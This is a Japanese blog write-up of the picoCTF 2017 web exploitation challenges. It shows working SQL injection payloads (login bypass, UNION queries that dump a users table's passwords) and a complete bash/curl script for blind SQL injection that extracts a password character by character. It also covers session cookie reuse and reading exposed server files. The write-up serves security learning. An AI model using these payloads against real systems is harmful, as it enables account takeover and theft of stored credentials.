LoginSignup
3
1

More than 5 years have passed since last update.

picoCTF 2017 writeup (Web Exploitation)

Last updated at Posted at 2018-08-08

picoCTF Write-Up (Web Exploitation)

picoCTF 2017 の web 問題の write-up です。

LEVEL1 - What is Web (20)

与えられたページの、html, css, js のコメントの中にそれぞれフラグの一部が隠されていて、3つを結合したものが最終的なフラグ。

LEVEL1 - Lazy Dev (50)

/static/client.js の中身を読むと、

//Validate the password. TBD!
function validate(pword){
  //TODO: Implement me
  return false;
}

となっている。この関数を、Google Chrome の console で以下を実行して上書きしてみる。

function validate(pword){
  return true;
}

この状態で適当にパスワードを入力して送信すると、フラグが表示される。
他にも chrome の sources タブで直接書き換える、ブレークポイントを仕掛ける、などの力技もある。

LEVEL2 - My First SQL (50)

問題概要

username と password から成るログインフォームが与えられる。

ポイント

  • SQLインジェクション

解法

典型的なSQLインジェクション。以下を username に入力し、 password を適当に入力して送信すればok。

' OR 1=1 --

LEVEL2 - TW_GR_E1_ART (100)

問題概要

webでプレイできるゲームが与えられる。

ポイント

  • node.js

解法

ファイルへのアクセス制限に不備があり、サーバのソースコードにアクセスできてしまう。

ヒントにある通り、サーバは node.js で実装されている。 node.js のアプリを作る場合大抵はプロジェクトのルートディレクトリに package.json ファイルが置かれる。試しに http://shell2017.picoctf.com:16929/package.json にアクセスしてみると、 package.json の中身が見えてしまう。

package.json を読むと、 server/init.jsserver/serv.js という2つのソースコードがあることがわかる。
http://shell2017.picoctf.com:16929/server/serv.js などにアクセスするとソースを読める。
ソースを読むに当たりまず require(xxx) でモジュールを読み込んでいる部分に着目する。
require の中身が ./xxx となっていないものは一般的なライブラリを読み込んでいるだけなので無視する。
一方で require の中身が ./xxx となっているものが実装されたコードを読み込んでいる部分になるので、そこに着目する。
require の中身が ./xxx となっているものをたどっていって、 flag に関係ありそうな部分を抜粋すると、以下の通り。

server/game.js
case "revealFlag":
    if (entity.items[action.item].effects[i].check == 64) {
        outcome.flag = process.env["PICO_CTF_FLAG"];
    }
    break;
server/config.js
function createFlag(check, location) {
    return {
        name: "Flag",
        description: "Gives you the flag... maybe.",
        location: location,
        use: 0,
        id: check + 100,
        sprite: "flag",
        effects: [
            {
                type: "revealFlag",
                check: check
            },
            {
                type: "destroyItems"
            }
        ]
    };
}

// (中略) ...

module.exports = {
    floors: [
        {
            range: [1, 3],
            // (中略) ...
        },
        {
            range: [4, 4],
            timeLimit: 500,
            generate: false,
            bgm: "at-the-end-of-the-road",
            description: {
                map: {
                    width: 7,
                    height: 19,
                    grid: [
                        [ -4,  -3,  -3,  -3,  -3,  -3,  -2],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -5,   1,   1,   1,   1,   1,  -1],
                        [ -6,  -7,  -7,  -7,  -7,  -7,  -8]
                    ],
                    stairs: {
                        r: 16,
                        c: 3
                    },
                    // (中略) ...
                },
                enemies: [],
                items: Array.from(new Array(83), (_, idx) => {
                    if (idx >= 2) {
                        idx++
                    }

                    if (idx >= 77) {
                        idx++;
                    }

                    var r = Math.floor(idx / 5) + 1;
                    var c = (idx % 5) + 1;

                    return createFlag(idx, { r: r, c: c });
                }),
                player: {
                    location: {
                        r: 1,
                        c: 3
                    }
                }
            }
        }
    ],

この2つのソースファイルから、以下のことが読み取れる。

  • check == 64 となる effect をもつ item を見つければ flag に辿り着けそう。
  • 4階には全部で83個の items がある。 items を生成するときに createFlag 関数が呼ばれている。
  • createFlag が生成する item で check == 64 となるのは idx が 64 のとき。
  • idx が 64 のとき、item の location{ r: 13, c: 5 } となる。
  • stairs の位置が { r: 16, c: 3 } なので、該当する flag は階段の3こ上、2こ右のますにありそう。

したがって、

  • 頑張ってゲームを解いて4階にたどり着く (..汗)
  • 階段の3こ上、2こ右のますの item を取得する
  • 取得した item を使う

とすることで、 flag を取得できる。

FireShot Capture 024 - Toaster Wars_ Going Rogue, Episode 1 -_ - http___shell2017.picoctf.com_16929_.png

LEVEL2 - TW_GR_E2_EoTDS (120)

問題概要

ゲーム「Toaster Wars: Going Rogue」 再来。
前問と同様に webでプレイできるゲームが与えられる。

ポイント

  • もはやゲーム

解法

前問と同様に4階にいってアイテムを取ればいい。
ヒントにある通り、敵であるヘラ?をうまく使う。

LEVEL3 - Biscuit (75)

問題概要

なんの変哲もないwebページが与えられる。

ポイント

  • ファイルアクセス制限の不備
  • sqlite

解法

まずソースをみる。すると、以下のようなコメントを見つける

<html>

<!-- Storing stuff in the same directory as your web server doesn't seem like a good idea -->
<!-- Thankfully, we use a hidden one that is super PRIVATE, to protect our cookies.sqlite file -->

cookies.sqlite というファイルがサーバのどこかに隠されていそう。
ページの背景画像が /private/image.png に置かれていることから、 /private/cookies.sqlite にアクセスしてみる。
すると、ファイルをダウンロードできる。

中身を見てみると、どうやら認証情報が記録されているらしい。

$ sqlite3 cookies.sqlite
SQLite version 3.19.3 2017-06-27 16:48:08
Enter ".help" for usage hints.
sqlite> .mode column
sqlite> .headers on
sqlite> .tables
moz_cookies
sqlite> SELECT * FROM moz_cookies;
id          baseDomain  appId       inBrowserElement  name        value                   host        path        expiry      lastAccessed      creationTime      isSecure    isHttpOnly
----------  ----------  ----------  ----------------  ----------  ----------------------  ----------  ----------  ----------  ----------------  ----------------  ----------  ----------
1           localhost   0           0                 ID          F3MAqpWxIvESiUNLHsflVd  localhost   /           1489365457  1489279130600290  1489279057101857  0           0

ということで、 cookie の ID というキーに F3MAqpWxIvESiUNLHsflVd という値を設定してみる。

Screen Shot 2018-09-14 at 5.45.08.png

もう一度アクセスしてみると、

Screen Shot 2018-09-14 at 5.48.43.png

flagゲット。

LEVEL3 - A Happy Union

問題概要

webサイトが与えられる。サイトは4つのページからなる。
- 登録ページ
- ログインページ
- 投稿一覧ページ
- 新規投稿ページ

ポイント

  • SQLインジェクション
    • UNION

解法

タイトルや問題文にもある通り、UNION による SQL インジェクションを使う。

今回は、投稿一覧ページのSQLに脆弱性がある。
この脆弱性にたどり着くには、まず、登録ページにて ' というユーザ名で登録する。次に、登録した情報でログインし、投稿一覧ページを表示する。すると、Status 500 が返ってきて、 select id, user, post from posts where user = '''; というメッセージが表示される(親切設計!)

ここからわかることは、投稿一覧ページを表示する際に、
SELECT id, user, value FROM posts WHERE user = '<ユーザ名>'
というクエリが発行されており、 <ユーザ名> の部分がエスケープされていないということ。
したがって、

  1. インジェクションしたいクエリをユーザ名として登録(パスワードは適当)
  2. ログイン
  3. 投稿一覧ページを表示

という手順でインジェクションができる。

試しに、UNION を使ってテーブル一覧を取得してみる。UNION を使う際のポイントは、 UNION より前の部分に存在するクエリと列の数を揃えること。テーブル一覧を取得するクエリは使われている RDB によって異なるので、とりあえず以下を試す。

  • ' UNION SELECT table_name, 2, 3 FROM information_schema.tables -- -> Status 500。MySQL ではなさそう。
  • ' UNION SELECT tablename, 2, 3 FROM pg_catalog.pg_tables -- -> Status 500。Postgres ではなさそう。
  • ' UNION SELECT name, sql, 3 FROM sqlite_master WHERE type = 'table' -- -> SQLite が正解っぽい。

3つめのクエリで以下のような結果が返ってくる。

Screen Shot 2018-09-17 at 20.51.32.png

users テーブルの pass カラムにフラグが隠されているパターンが往々にしてあるので、以下を試す。
' UNION SELECT user, pass, 3 FROM users --
すると、 admin ユーザのパスワード部分にフラグが現れる。

LEVEL3 - No Eyes

問題概要

ログインフォームが与えられる。

ポイント

  • SQLインジェクション
  • blind SQL

解法

SQLインジェクションを使う。 username に ' を入力すると、 Status 500 が返ってきて、 select * from users where user = '''; というメッセージが表示される。 password についても同様のことができる。
そこで、 username: admin, password: ' OR 1=1 -- と入力すると、以下のメッセージが表示される。

Login Functionality Not Complete. Flag is 63 characters

さらに、 username: admin, password: ' OR 1=0 -- と入力すると、以下のようなメッセージが表示される。

Incorrect Password.

よって、 password フォームに SQL インジェクションをかけていき、ヒットするれコードがあれば Login Functionality Not Complete. Flag is 63 characters 、なければ Incorrect Password. が返ってくると予想できる。
この挙動を利用して 63 文字のパスワードを見つければ、それがフラグになりそうと予想できる。

このように、SQLの結果を直接は確認できないが、結果の有無だけは観測できる、というパターンは blind SQL インジェクションにあたる。
今回はフラグの長さを教えてくれているので、自分で長さを見つけなくてもいい。
SUBSTR などを使って1文字ずつ総当たりで正解文字列を探索すれば、正解文字列の長さを N とすると O(N) で探索が完了する。

手でやるには大変なので、スクリプトを作るといい。今回はシェルスクリプトで curl を使って書いた。

#!/bin/bash

set -eu

chars="_0123456789abcdefghijklmnopqrstuvwxyz- ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$&()*+\`./:;<=>?@[]\\^{}|~'"
echo $chars

ans=''
l=${#ans}
while [ $l -lt 63 ]; do
  echo "========== l = $l, ans = $ans"
  found=0
  for (( i=0; i<${#chars}; i++ )); do
    c=${chars:$i:1}
    echo $ans$c
    res=$(curl -s -X POST -F "username=admin" -F "password=' OR SUBSTR(pass,1,$(($l + 1))) = '$ans$c' --" http://shell2017.picoctf.com:16012/ 2>&1 | grep 'Login Functionality Not Complete' || :)
    if [ ! -z "$res" ]; then
      ans+=$c
      found=1
      break
    fi
  done
  if [ $found -eq 0 ]; then
    echo "Couldn't find new char!!!"
    exit 1
  fi
  l=$(($l + 1))
done
echo "========== l = $l, ans = $ans"

LEVEL3 - TW_GR_E3_GtI

問題概要

ゲーム「Toaster Wars: Going Rogue」 再来。

ポイント

  • javascript

解法

前問と同様、がっつりソースを読む。
使うとフラグを出してくれるitemがあるのは前回同様。item 作成部分の関数は以下の通り。 id12 となっているのが分かる。

/server/config.js
function createFlag(location) {
    return {
        name: "Flag",
        description: "Gives you the flag.",
        location: location,
        use: 0,
        id: 12,
        sprite: "flag",
        effects: [
            {
                type: "revealFlag"
            }
        ]
    };
}

さらに今回は、item をソートするときのバグに着目する。

/server/game.js
socket.on("resortItems", function(){
  // logger.warn("[sort]", socket.id);

  db.getState(socket.id)
    .then(function(state){

      if (state.done) {
        return;
      }

      var oldState = censor(state);

      state.player.items.sort(function(a, b){
        if(a.name < b.name){
          return -1;
        }

        if(a.name > b.name){
          return 1;
        }

        return 0;
      });

      for(var i = 0; i < state.player.items.length; i++){
        state.player.items[i].id = i;
      }

      state.log = [];

      return db.commit(socket.id, state)
        .then(sendState(socket, oldState, false));
    });
})

このソースによると、ユーザが item をソートしたときに、item の id が振り直されてしまっていることがわかる。
実際に試してみた様子が以下。

Screen Shot 2018-09-18 at 14.16.04.png

3
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
1